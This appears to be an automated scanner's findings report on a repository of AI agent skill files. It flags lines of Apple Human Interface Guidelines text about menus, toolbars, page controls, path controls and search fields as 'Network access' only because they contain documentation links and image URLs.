    Show All Tabs/Exit Tab Overview| Enters and exits a view (similar to Mission Control) that provides an overview of all open tabs in a tab-based window   Show/Hide Toolbar| In a window that includes a [toolbar](https://developer.apple.com/de
  • Network accessline 156
    Show/Hide Toolbar| In a window that includes a [toolbar](https://developer.apple.com/design/human-interface-guidelines/toolbars), toggles the toolbar’s visibility
  • Network accessline 157
    Customize Toolbar| In a window that includes a toolbar, opens a view that lets people customize toolbar items   Show/Hide Sidebar| In a window that includes a [sidebar](https://developer.apple.com/design/human-interface-guidelines/sidebars)
  • Network accessline 158
    Show/Hide Sidebar| In a window that includes a [sidebar](https://developer.apple.com/design/human-interface-guidelines/sidebars), toggles the sidebar’s visibility
  • Network accessline 159
    Enter/Exit Full Screen| In an app that supports a [full-screen experience](https://developer.apple.com/design/human-interface-guidelines/going-full-screen), opens the window at full-screen size in a new space
  • Network accessline 161
    ## [App-specific menus](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#App-specific-menus)
  • Network accessline 171
    ## [Window menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Window-menu)
  • Network accessline 177
    The Window menu doesn’t help people customize the appearance of windows or close them. To customize a window, people use commands in the [View menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#View-menu); to c
  • Network accessline 181
    **Consider including menu items for showing and hiding panels.** A [panel](https://developer.apple.com/design/human-interface-guidelines/panels) provides information, configuration options, or tools for interacting with content in a primary
  • Network accessline 186
    ---|---|---   Minimize| Minimizes the active window to the Dock. Pressing the Option key changes this item to Minimize All.|    Zoom| Toggles between a predefined size appropriate to the window’s content and the window size people set. Pres
  • Network accessline 187
    Minimize| Minimizes the active window to the Dock. Pressing the Option key changes this item to Minimize All.|    Zoom| Toggles between a predefined size appropriate to the window’s content and the window size people set. Pressing the Optio
  • Network accessline 188
    Zoom| Toggles between a predefined size appropriate to the window’s content and the window size people set. Pressing the Option key changes this item to Zoom All.| Avoid using Zoom to enter or exit full-screen mode. The [View menu](https://
  • Network accessline 191
    Move Tab to New Window| Opens the current tab in a new window.|    Merge All Windows| Combines all open windows into a single tabbed window.|    Enter/Exit Full Screen| In an app that supports a [full-screen experience](https://developer.ap
  • Network accessline 192
    Merge All Windows| Combines all open windows into a single tabbed window.|    Enter/Exit Full Screen| In an app that supports a [full-screen experience](https://developer.apple.com/design/human-interface-guidelines/going-full-screen), opens
  • Network accessline 193
    Enter/Exit Full Screen| In an app that supports a [full-screen experience](https://developer.apple.com/design/human-interface-guidelines/going-full-screen), opens the window at full-screen size in a new space.| Include this item in the Wind
  • Network accessline 197
    ## [Help menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Help-menu)
  • Network accessline 207
    For guidance, see [Offering help](https://developer.apple.com/design/human-interface-guidelines/offering-help); for developer guidance, see [`NSHelpManager`](https://developer.apple.com/documentation/AppKit/NSHelpManager).
  • Network accessline 209
    ## [Dynamic menu items](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Dynamic-menu-items)
  • Network accessline 217
    **Require only a single modifier key to reveal a dynamic menu item.** It can be physically awkward to press more than one key while simultaneously opening a menu and choosing a menu item, in addition to reducing the discoverability of the d
  • Network accessline 223
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Platform-considerations)
  • Network accessline 227
    ### [iPadOS](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#iPadOS)
  • Network accessline 229
    The menu bar displays the top-level menus for your app or game, including both system-provided menus and any custom ones you choose to add. People reveal the menu bar by moving the pointer to the top edge of the screen, or swiping down from
  • Network accessline 250
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#macOS)
  • Network accessline 252
    The menu bar in macOS includes the Apple menu, which is always the first item on the leading side of the menu bar. The Apple menu includes system-defined menu items that are always available, and you can’t modify or remove it. Space permitt
  • Network accessline 256
    When people enter full-screen mode, the menu bar typically hides until they reveal it by moving the pointer to the top of the screen. For guidance, see [Going full screen](https://developer.apple.com/design/human-interface-guidelines/going-
  • Network accessline 258
    #### [Menu bar extras](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Menu-bar-extras)
  • Network accessline 260
    A menu bar extra exposes app-specific functionality using an icon that appears in the menu bar when your app is running, even when it’s not the frontmost app. Menu bar extras are on the opposite side of the menu bar from your app’s menus. F
  • Network accessline 264
    ![A screenshot of the Input menu bar extra and its menu.](https://docs-assets.developer.apple.com/published/97a8b1969dd941fc8920da157b345fb5/menu-bar-extras%402x.png)
  • Network accessline 266
    **Consider using a symbol to represent your menu bar extra.** You can create an [icon](https://developer.apple.com/design/human-interface-guidelines/icons) or you can choose one of the [SF Symbols](https://developer.apple.com/design/human-i
  • Network accessline 268
    **Display a menu — not a popover — when people click your menu bar extra.** Unless the app functionality you want to expose is too complex for a menu, avoid presenting it in a [popover](https://developer.apple.com/design/human-interface-gui
  • Network accessline 274
    **Consider exposing app-specific functionality in other ways, too.** For example, you can provide a [Dock menu](https://developer.apple.com/design/human-interface-guidelines/dock-menus) that appears when people Control-click your app’s Dock
  • Network accessline 276
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Resources)
  • Network accessline 278
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Related)
  • Network accessline 280
    [Menus](https://developer.apple.com/design/human-interface-guidelines/menus)
  • Network accessline 282
    [Dock menus](https://developer.apple.com/design/human-interface-guidelines/dock-menus)
  • Network accessline 284
    [Standard keyboard shortcuts](https://developer.apple.com/design/human-interface-guidelines/keyboards#Standard-keyboard-shortcuts)
  • Network accessline 286
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Developer-documentation)
  • Network accessline 288
    [`CommandMenu`](https://developer.apple.com/documentation/SwiftUI/CommandMenu) — SwiftUI
  • Network accessline 290
    [Adding menus and shortcuts to the menu bar and user interface](https://developer.apple.com/documentation/UIKit/adding-menus-and-shortcuts-to-the-menu-bar-and-user-interface) — UIKit
  • Network accessline 292
    [`NSStatusBar`](https://developer.apple.com/documentation/AppKit/NSStatusBar) — AppKit
  • Network accessline 294
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Videos)
  • Network accessline 296
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/873F40BE-101A-4C0D-99F0-F5C7CE7B47A3/10046_wide_250x141_1x.jpg) Elevate the design of your iPad app ](https://developer.apple.com/videos/play/wwd
  • Network accessline 298
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Change-log)

skills/hig-components-menus/references/toolbars.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Toolbars | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/toolbars
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/toolbars
  • Network accessline 9
    ![A stylized representation of a toolbar, with a Back control on the leading edge, and Compose, Share, and the More menu on the trailing edge. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://
  • Network accessline 17
    * Navigation controls, like back and forward, and [search fields](https://developer.apple.com/design/human-interface-guidelines/search-fields)
  • Network accessline 19
    * Actions, or bar items, like [buttons](https://developer.apple.com/design/human-interface-guidelines/buttons) and [menus](https://developer.apple.com/design/human-interface-guidelines/menus)
  • Network accessline 24
    In contrast to a toolbar, a [tab bar](https://developer.apple.com/design/human-interface-guidelines/tab-bars) is specifically for navigating between areas of an app.
  • Network accessline 26
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/toolbars#Best-practices)
  • Network accessline 41
    ![A screenshot of the Notes app on Mac, with the window wide enough for the toolbar to include all of the available toolbar items. A More menu button appears on the trailing side of the toolbar, with the menu open beneath it.](https://docs-
  • Network accessline 43
    ![A screenshot of the Notes app on Mac, with the window narrow enough that the system moves several items from the toolbar into an overflow menu, including the More menu button. The overflow menu is open to show the items it includes.](http
  • Network accessline 47
    **Reduce the use of toolbar backgrounds and tinted controls.** Any custom backgrounds and appearances you use might overlay or interfere with background effects that the system provides. Instead, use the content layer to inform the color an
  • Network accessline 49
    **Avoid applying a similar color to toolbar item labels and content layer backgrounds.** If your app already has bright, colorful content in the content layer, prefer using the default monochromatic appearance of toolbars. For more guidance
  • Network accessline 53
    **Consider temporarily hiding toolbars for a distraction-free experience.** Sometimes people appreciate a minimal interface to reduce distractions or reveal more content. If you support this, do so contextually when it makes the most sense,
  • Network accessline 55
    ## [Titles](https://developer.apple.com/design/human-interface-guidelines/toolbars#Titles)
  • Network accessline 63
    ## [Navigation](https://developer.apple.com/design/human-interface-guidelines/toolbars#Navigation)
  • Network accessline 65
    A toolbar with navigation controls appears at the top of a window, helping people move through a hierarchy of content. A toolbar also often contains a [search field](https://developer.apple.com/design/human-interface-guidelines/search-field
  • Network accessline 67
    **Use the standard Back and Close buttons.** People know that the standard Back button lets them retrace their steps through a hierarchy of information, and the standard Close button closes a modal view. Prefer the standard symbols for each
  • Network accessline 69
    ![An illustration of a capsule-shape Back button that includes the Back symbol on the leading side, grouped with Back in text on the trailing side.](https://docs-assets.developer.apple.com/published/de859b5c4d42c9df2e92c680d48a37b2/toolbars
  • Network accessline 71
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 73
    ![An illustration of the standard circular Back button that includes the standard Back symbol.](https://docs-assets.developer.apple.com/published/bf5f1cf48120b10f031bd9df57124f0f/toolbars-navigation-action-back-correct%402x.png)
  • Network accessline 75
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 77
    ## [Actions](https://developer.apple.com/design/human-interface-guidelines/toolbars#Actions)
  • Network accessline 81
    **Make sure the meaning of each control is clear.** Don’t make people guess or experiment to figure out what a toolbar item does. Prefer simple, recognizable symbols for items instead of text, except for actions like _edit_ that aren’t well
  • Network accessline 83
    ![An illustration of an item group with text button labels for Filter, Delete, and New.](https://docs-assets.developer.apple.com/published/e39b41732b2b7cf5a40c682f6ec28448/toolbars-prefer-symbols-incorrect%402x.png)
  • Network accessline 85
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 87
    ![An illustration of an item group with symbol button labels for Filter, Delete, and New.](https://docs-assets.developer.apple.com/published/a90ab6d6f58aa023f4b830e4045b507b/toolbars-prefer-symbols-correct%402x.png)
  • Network accessline 89
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 91
    **Prefer system-provided symbols without borders.** System-provided symbols are familiar, automatically receive appropriate coloring and vibrancy, and respond consistently to user interactions. Borders (like outlined circle symbols) aren’t 
  • Network accessline 93
    ![An illustration of an item group with buttons for Filter and More. The buttons are labeled with symbols with circular borders.](https://docs-assets.developer.apple.com/published/90f36d797636e931c39663c146c1cb11/toolbars-icons-circle-outli
  • Network accessline 95
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 97
    ![An illustration of an item group with buttons for Filter and More. The buttons are labeled with symbols without borders.](https://docs-assets.developer.apple.com/published/e7b2189bb13488aab5e7eacc5eea9b1b/toolbars-icons-no-outline-correct
  • Network accessline 99
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 103
    ![An illustration of two toolbar items, with a Filter button on the leading side and a Done button on the trailing side. The buttons are ungrouped, and the Done button has the prominent style applied to indicate that it's the primary action
  • Network accessline 105
    ## [Item groupings](https://developer.apple.com/design/human-interface-guidelines/toolbars#Item-groupings)
  • Network accessline 118
    ![A diagram of the top toolbar in the Freeform app on iPad. Callouts indicate the location of item groupings on the leading edge, center area, and trailing edge of the toolbar.](https://docs-assets.developer.apple.com/published/882504f8e992
  • Network accessline 126
    ![An illustration of a top toolbar on iPhone, with controls for back, forward, tool selection, and the More menu grouped in a single section on the trailing edge.](https://docs-assets.developer.apple.com/published/9349ac4f406f84c24e98a6b944
  • Network accessline 128
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 130
    ![An illustration of a top toolbar on iPhone, with controls for back and forward grouped on the leading edge, and controls for tool selection and the More menu grouped on the trailing edge.](https://docs-assets.developer.apple.com/published
  • Network accessline 132
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 138
    **Keep actions with text labels separate.** Placing an action with a text label next to an action with a symbol can create the illusion of a single action with a combined text and symbol, leading to confusion and misinterpretation. If your 
  • Network accessline 140
    ![An illustration of a top toolbar on iPhone, with an Edit control with a text label and a Share control with a symbol grouped together on the trailing edge.](https://docs-assets.developer.apple.com/published/de7f7298c70900b9c2f65d5cae7c6d6
  • Network accessline 142
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 144
    ![An illustration of a top toolbar on iPhone, with an Edit control with a text label and a Share control with a symbol grouped into individual sections on the trailing edge.](https://docs-assets.developer.apple.com/published/c46f284f584841d
  • Network accessline 146
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 148
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/toolbars#Platform-considerations)
  • Network accessline 152
    ### [iOS](https://developer.apple.com/design/human-interface-guidelines/toolbars#iOS)
  • Network accessline 156
    **Use a large title to help people stay oriented as they navigate and scroll.** By default, a large title transitions to a standard title as people begin scrolling the content, and transitions back to large when people scroll to the top, re
  • Network accessline 158
    ### [iPadOS](https://developer.apple.com/design/human-interface-guidelines/toolbars#iPadOS)
  • Network accessline 160
    **Consider combining a toolbar with a tab bar.** In iPadOS, a toolbar and a [tab bar](https://developer.apple.com/design/human-interface-guidelines/tab-bars) can coexist in the same horizontal space at the top of the view. This is particula
  • Network accessline 162
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/toolbars#macOS)
  • Network accessline 166
    ![A diagram of a Finder window in macOS with callouts showing the location of the toolbar and the window frame.](https://docs-assets.developer.apple.com/published/a595dda6ba3dd30cbd7c9851d941be72/toolbars-mac-window-anatomy%402x.png)
  • Network accessline 170
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/toolbars#visionOS)
  • Network accessline 174
    ![A screenshot of a toolbar along the bottom of the Notes app window in visionOS.](https://docs-assets.developer.apple.com/published/47985b0aebd160790502368ff9e282a1/visionos-toolbar-notes-app%402x.png)
  • Network accessline 182
    ![A screenshot of a toolbar in visionOS.](https://docs-assets.developer.apple.com/published/449acaaf0268d1fff08e9bf41b7c82d9/visionos-toolbar-standard-layout%402x.png)
  • Network accessline 184
    **Avoid creating a vertical toolbar.** In visionOS, [tab bars](https://developer.apple.com/design/human-interface-guidelines/tab-bars) are vertical, so presenting a vertical toolbar could confuse people.
  • Network accessline 190
    **Avoid using a pull-down menu in a toolbar.** A pull-down menu lets you offer additional actions related to a toolbar item, but can be difficult for people to discover and may clutter your interface. Because a toolbar is located at the bot
  • Network accessline 192
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/toolbars#watchOS)
  • Network accessline 196
    ![A screenshot showing toolbar buttons in the top leading and trailing corners.](https://docs-assets.developer.apple.com/published/464c7be02e97dcb7470c9b8202dc2b59/toolbars-watch-top-buttons%402x.png)
  • Network accessline 200
    ![A screenshot showing two toolbar buttons in the bottom leading and trailing corners.](https://docs-assets.developer.apple.com/published/53d742601fa4b250207336099587e1d3/toolbars-watch-bottom-buttons%402x.png)
  • Network accessline 204
    For developer guidance, see [`topBarLeading`](https://developer.apple.com/documentation/SwiftUI/ToolbarItemPlacement/topBarLeading), [`topBarTrailing`](https://developer.apple.com/documentation/SwiftUI/ToolbarItemPlacement/topBarTrailing), 
  • Network accessline 208
    ![A screenshot showing two toolbar buttons in the top leading and trailing corners. The toolbar also has a primary action button in the scroll view, but it's hidden.](https://docs-assets.developer.apple.com/published/027a24ac805a9e7976a1ccd
  • Network accessline 212
    ![A screenshot showing two toolbar buttons in the top leading and trailing corners. The toolbar also displays a primary action button in the scroll view.](https://docs-assets.developer.apple.com/published/e010a0cdf42f792ebb4715cdd5f65676/to
  • Network accessline 216
    For developer guidance, see [`primaryAction`](https://developer.apple.com/documentation/SwiftUI/ToolbarItemPlacement/primaryAction).
  • Network accessline 220
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/toolbars#Resources)
  • Network accessline 222
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/toolbars#Related)
  • Network accessline 224
    [Sidebars](https://developer.apple.com/design/human-interface-guidelines/sidebars)
  • Network accessline 226
    [Tab bars](https://developer.apple.com/design/human-interface-guidelines/tab-bars)
  • Network accessline 228
    [Layout](https://developer.apple.com/design/human-interface-guidelines/layout)
  • Network accessline 230
    [Buttons](https://developer.apple.com/design/human-interface-guidelines/buttons)
  • Network accessline 232
    [Search fields](https://developer.apple.com/design/human-interface-guidelines/search-fields)
  • Network accessline 234
    [Apple Design Resources](https://developer.apple.com/design/resources/)
  • Network accessline 236
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/toolbars#Developer-documentation)
  • Network accessline 238
    [Toolbars](https://developer.apple.com/documentation/SwiftUI/Toolbars) — SwiftUI
  • Network accessline 240
    [`UIToolbar`](https://developer.apple.com/documentation/UIKit/UIToolbar) — UIKit
  • Network accessline 242
    [`NSToolbar`](https://developer.apple.com/documentation/AppKit/NSToolbar) — AppKit
  • Network accessline 244
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/toolbars#Videos)
  • Network accessline 246
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/1AAA030E-2ECA-47D8-AE09-6D7B72A840F6/10044_wide_250x141_1x.jpg) Get to know the new design system ](https://developer.apple.com/videos/play/wwdc2
  • Network accessline 248
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/toolbars#Change-log)

skills/hig-components-search/SKILL.md

  • Network accessline 70
    *Built by [Raintree Technology](https://raintree.technology) · [More developer tools](https://raintree.technology)*

skills/hig-components-search/references/page-controls.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Page controls | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/page-controls
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/page-controls
  • Network accessline 9
    ![A stylized representation of a page control with an indicator denoting the active page. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/a0dcd33d7bf
  • Network accessline 15
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/page-controls#Best-practices)
  • Network accessline 23
    ## [Customizing indicators](https://developer.apple.com/design/human-interface-guidelines/page-controls#Customizing-indicators)
  • Network accessline 27
    If it enhances your app or game, you can provide a custom image to use as the default image for all indicators and you can also supply a different image for a specific page. For developer guidance, see [`preferredIndicatorImage`](https://de
  • Network accessline 29
    **Make sure custom indicator images are simple and clear.** Avoid complex shapes, and don’t include negative space, text, or inner lines, because these details can make an icon muddy and indecipherable at very small sizes. Consider using si
  • Network accessline 35
    ![An illustration that represents the Weather app highlighted to show a page control at the bottom edge of the screen. The page control displays a mix of icons, such as weak sun, cloud, cloud with sun, and cloud with drizzle.](https://docs-
  • Network accessline 37
    ![An X in a circle to indicate an incorrect example.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)Using several different indicators can make a page control look busy and difficult to
  • Network accessline 39
    ![An illustration that represents the Weather app highlighted to show a page control at the bottom edge of the screen. The page control displays the location symbol on the leading side followed by a series of dots.](https://docs-assets.deve
  • Network accessline 41
    ![A checkmark in a circle to indicate a correct example.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)Using only two different indicators looks well-organized and provides a consiste
  • Network accessline 45
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/page-controls#Platform-considerations)
  • Network accessline 49
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/page-controls#iOS-iPadOS)
  • Network accessline 53
    ![An illustration of a page control. The page control displays a total of 9 dots. The center 5 dots use the default size; the second and eighth dots are about half the default size and the first and ninth dots are about one quarter the defa
  • Network accessline 59
    In the API, _tapping_ is a _discrete interaction_ , whereas _scrubbing_ is a _continuous interaction_ ; for developer guidance, see [`UIPageControl.InteractionState`](https://developer.apple.com/documentation/UIKit/UIPageControl/Interaction
  • Network accessline 74
    For developer guidance, see [`backgroundStyle`](https://developer.apple.com/documentation/UIKit/UIPageControl/backgroundStyle-swift.property).
  • Network accessline 78
    ### [tvOS](https://developer.apple.com/design/human-interface-guidelines/page-controls#tvOS)
  • Network accessline 82
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/page-controls#visionOS)
  • Network accessline 86
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/page-controls#watchOS)
  • Network accessline 88
    In watchOS, page controls can be displayed at the bottom of the screen for horizontal pagination, or next to the Digital Crown when presenting a vertical [tab view](https://developer.apple.com/design/human-interface-guidelines/components/la
  • Network accessline 90
    ![An illustration representing a screen that includes a vertical tab view on Apple Watch. A page control next to the Digital Crown shows that the fourth tab is currently selected.](https://docs-assets.developer.apple.com/published/d8ac19e25
  • Network accessline 94
    ![An illustration representing a screen that includes a horizontal tab view on Apple Watch. A page control at the bottom shows that the second tab is currently selected.](https://docs-assets.developer.apple.com/published/0f915ec7b0e8755a2d6
  • Network accessline 102
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/page-controls#Resources)
  • Network accessline 104
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/page-controls#Related)
  • Network accessline 106
    [Scroll views](https://developer.apple.com/design/human-interface-guidelines/scroll-views)
  • Network accessline 108
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/page-controls#Developer-documentation)
  • Network accessline 110
    [`PageTabViewStyle`](https://developer.apple.com/documentation/SwiftUI/PageTabViewStyle) — SwiftUI
  • Network accessline 112
    [`UIPageControl`](https://developer.apple.com/documentation/UIKit/UIPageControl) — UIKit
  • Network accessline 114
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/page-controls#Change-log)

skills/hig-components-search/references/path-controls.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Path controls | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/path-controls
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/path-controls
  • Network accessline 9
    ![A stylized representation of a path control for a HIG Design document showing its root disk, parent folder, and selected item. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.de
  • Network accessline 15
    ![A screenshot of a Finder path bar that displays a hierarchy of four locations.](https://docs-assets.developer.apple.com/published/c7347a80a423da7a3886208113258675/path-controls-standard%402x.png)
  • Network accessline 19
    ![A screenshot of a path control showing a folder icon and a pop-up control.](https://docs-assets.developer.apple.com/published/6768a6d2292f05923976b90cd80c931d/path-controls-popup%402x.png)
  • Network accessline 21
    **Pop up.** A control similar to a [pop-up button](https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons) that shows the icon and name of the selected item. People can click the item to open a menu containing the root
  • Network accessline 23
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/path-controls#Best-practices)
  • Network accessline 27
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/path-controls#Platform-considerations)
  • Network accessline 31
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/path-controls#Resources)
  • Network accessline 33
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/path-controls#Related)
  • Network accessline 35
    [File management](https://developer.apple.com/design/human-interface-guidelines/file-management)
  • Network accessline 37
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/path-controls#Developer-documentation)
  • Network accessline 39
    [`NSPathControl`](https://developer.apple.com/documentation/AppKit/NSPathControl) — AppKit

skills/hig-components-search/references/search-fields.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Search fields | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/search-fields
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/search-fields
  • Network accessline 9
    ![A stylized representation of a search field containing placeholder text and a dictation icon. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/73f9e
  • Network accessline 11
    A search field is an editable text field that displays a Search icon, a Clear button, and placeholder text where people can enter what they are searching for. Search fields can use a [scope control](https://developer.apple.com/design/human-
  • Network accessline 13
    For developer guidance, see [Adding a search interface to your app](https://developer.apple.com/documentation/SwiftUI/Adding-a-search-interface-to-your-app); for guidance related to systemwide search, see [Searching](https://developer.apple
  • Network accessline 15
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/search-fields#Best-practices)
  • Network accessline 27
    ## [Scope controls and tokens](https://developer.apple.com/design/human-interface-guidelines/search-fields#Scope-controls-and-tokens)
  • Network accessline 31
    * A _scope control_ acts like a [segmented control](https://developer.apple.com/design/human-interface-guidelines/segmented-controls) for choosing a category for the search.
  • Network accessline 38
    ![A diagram of the Mail app on iPhone with the search field open above the keyboard and the word Design entered in the field. Callouts indicate a scope control at the top of the screen to switch between searching all mailboxes and the curre
  • Network accessline 40
    **Use a scope control to filter among clearly defined search categories.** A scope control can help someone move from a broader scope to a narrower one. For example, in Mail on iPhone, a scope control helps people move from searching their 
  • Network accessline 44
    **Use tokens to filter by common search terms or items.** When you define a token, the term it represents gains a visual treatment that encapsulates it, indicating that people can select and edit it as a single item. Tokens can clarify a se
  • Network accessline 48
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/search-fields#Platform-considerations)
  • Network accessline 52
    ### [iOS](https://developer.apple.com/design/human-interface-guidelines/search-fields#iOS)
  • Network accessline 67
    #### [Search in a tab bar](https://developer.apple.com/design/human-interface-guidelines/search-fields#Search-in-a-tab-bar)
  • Network accessline 71
    ![An illustration of a tab bar at the bottom of an iPhone screen. A tab for search appears on the trailing edge in a visually distinct group.](https://docs-assets.developer.apple.com/published/ca6977596a62743265fdd2132616a4c8/search-fields-
  • Network accessline 75
    ![An illustration of an iPhone screen with search in a tab bar at the bottom of the screen. The tab bar is hidden by the keyboard and the search field is open above the keyboard, ready for text entry.](https://docs-assets.developer.apple.co
  • Network accessline 79
    ![An illustration of an iPhone screen with search in a tab bar at the bottom of the screen. The search tab is expanded into a field that hides the tabs to its leading side. A single remaining tab on the leading edge of the screen indicates 
  • Network accessline 87
    #### [Search in a toolbar](https://developer.apple.com/design/human-interface-guidelines/search-fields#Search-in-a-toolbar)
  • Network accessline 98
    ![An illustration of an iPhone screen with search in a bottom toolbar. The search field is positioned in an isolated group between a Filter button on the leading edge and a Compose button on the trailing edge.](https://docs-assets.developer
  • Network accessline 102
    ![An illustration of an iPhone screen with search in a top toolbar. A Back button appears on the leading edge, and an Add button appears on the trailing edge. An button group with Search and More appears next to the Add button.](https://doc
  • Network accessline 110
    #### [Search as an inline field](https://developer.apple.com/design/human-interface-guidelines/search-fields#Search-as-an-inline-field)
  • Network accessline 120
    ### [iPadOS, macOS](https://developer.apple.com/design/human-interface-guidelines/search-fields#iPadOS-macOS)
  • Network accessline 124
    ![An illustration of an iPad screen with a search field on the trailing edge of the top toolbar. The search field has the word Design entered into the field, and three search suggestions appear in a list beneath the field. The toolbar also 
  • Network accessline 126
    ![An illustration of a Mac screen with a search field on the trailing edge of the toolbar. The search field has the word Design entered into the field, and three search suggestions appear in a list beneath the field. The toolbar also includ
  • Network accessline 132
    ![An illustration of an iPad screen with a search field at the top of the sidebar on the leading edge of the screen.](https://docs-assets.developer.apple.com/published/8aed61a23fe2a9885d1a1d1da15a4b09/search-fields-ipad-search-in-sidebar%40
  • Network accessline 136
    ![An illustration of an iPad screen with a tab bar at the top edge. The trailing side of the tab bar includes a Search tab with a distinct background color to differentiate it from other tab areas.](https://docs-assets.developer.apple.com/p
  • Network accessline 142
    ### [tvOS](https://developer.apple.com/design/human-interface-guidelines/search-fields#tvOS)
  • Network accessline 144
    A search screen is a specialized keyboard screen that helps people enter search text, displaying search results beneath the keyboard in a fully customizable view. For developer guidance, see [`UISearchController`](https://developer.apple.co
  • Network accessline 146
    ![An illustration of a search screen in tvOS. The screen includes a field with a keyboard input area at the top, a scope control, and a grid of top results at the bottom.](https://docs-assets.developer.apple.com/published/590a4ef7b02ccd9758
  • Network accessline 148
    **Provide suggestions to make searching easier.** People typically don’t want to do a lot of typing in tvOS. To improve the search experience, provide popular and context-specific search suggestions, including recent searches when available
  • Network accessline 150
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/search-fields#watchOS)
  • Network accessline 154
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/search-fields#Resources)
  • Network accessline 156
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/search-fields#Related)
  • Network accessline 158
    [Searching](https://developer.apple.com/design/human-interface-guidelines/searching)
  • Network accessline 160
    [Token fields](https://developer.apple.com/design/human-interface-guidelines/token-fields)
  • Network accessline 162
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/search-fields#Developer-documentation)
